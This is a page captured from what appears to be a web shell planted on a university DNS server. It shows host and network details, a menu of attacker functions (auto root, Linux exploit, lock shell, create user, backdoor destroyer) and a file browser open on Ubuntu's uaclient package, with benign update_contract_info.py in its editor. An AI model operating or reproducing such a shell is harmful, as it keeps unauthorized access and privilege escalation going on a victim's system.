Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
uaclient /
[ HOME SHELL ]
Name
Size
Permission
Action
api
[ DIR ]
drwxr-xr-x
cli
[ DIR ]
drwxr-xr-x
clouds
[ DIR ]
drwxr-xr-x
daemon
[ DIR ]
drwxr-xr-x
entitlements
[ DIR ]
drwxr-xr-x
files
[ DIR ]
drwxr-xr-x
http
[ DIR ]
drwxr-xr-x
messages
[ DIR ]
drwxr-xr-x
__pycache__
[ DIR ]
drwxr-xr-x
timer
[ DIR ]
drwxr-xr-x
actions.py
14.61
KB
-rw-r--r--
apt_news.py
8.39
KB
-rw-r--r--
apt.py
35.77
KB
-rw-r--r--
config.py
18.91
KB
-rw-r--r--
contract_data_types.py
9.89
KB
-rw-r--r--
contract.py
35.58
KB
-rw-r--r--
data_types.py
13.21
KB
-rw-r--r--
defaults.py
3.19
KB
-rw-r--r--
event_logger.py
8.06
KB
-rw-r--r--
exceptions.py
18.2
KB
-rw-r--r--
gpg.py
836
B
-rw-r--r--
__init__.py
0
B
-rw-r--r--
livepatch.py
12.85
KB
-rw-r--r--
lock.py
4.42
KB
-rw-r--r--
log.py
4.9
KB
-rw-r--r--
secret_manager.py
648
B
-rw-r--r--
security_status.py
26.16
KB
-rw-r--r--
snap.py
6.26
KB
-rw-r--r--
status.py
28.53
KB
-rw-r--r--
system.py
28.12
KB
-rw-r--r--
types.py
308
B
-rw-r--r--
update_contract_info.py
1.55
KB
-rw-r--r--
upgrade_lts_contract.py
3.54
KB
-rw-r--r--
util.py
15.45
KB
-rw-r--r--
version.py
2.63
KB
-rw-r--r--
yaml.py
840
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : update_contract_info.py
import logging from uaclient import exceptions, lock, messages, system, util from uaclient.api.u.pro.detach.v1 import detach from uaclient.api.u.pro.status.is_attached.v1 import _is_attached from uaclient.config import UAConfig LOG = logging.getLogger(util.replace_top_level_logger_name(__name__)) def validate_release_series(cfg: UAConfig, only_series, show_message=False): LOG.debug("Validating release series") if not _is_attached(cfg).is_attached: return current_series = system.get_release_info().series try: allowed_release = system.get_distro_info(only_series) except exceptions.MissingSeriesInDistroInfoFile: # If onlySeries is not present on the distro-info CSV # we consider that it is newer than the current release pass else: current_release = system.get_distro_info(current_series) # Only series is now meant to be allowed on the specified release # and all previous releases if current_release.eol > allowed_release.eol: LOG.debug( "Detaching due to current series %s being higher than only_series: %s", # noqa current_series, only_series, ) lock.clear_lock_file_if_present() detach() message = messages.PRO_ONLY_ALLOWED_FOR_RELEASE.format( release=allowed_release.release, series_codename=allowed_release.series_codename, ) if show_message: print(message) LOG.warning(message)
Close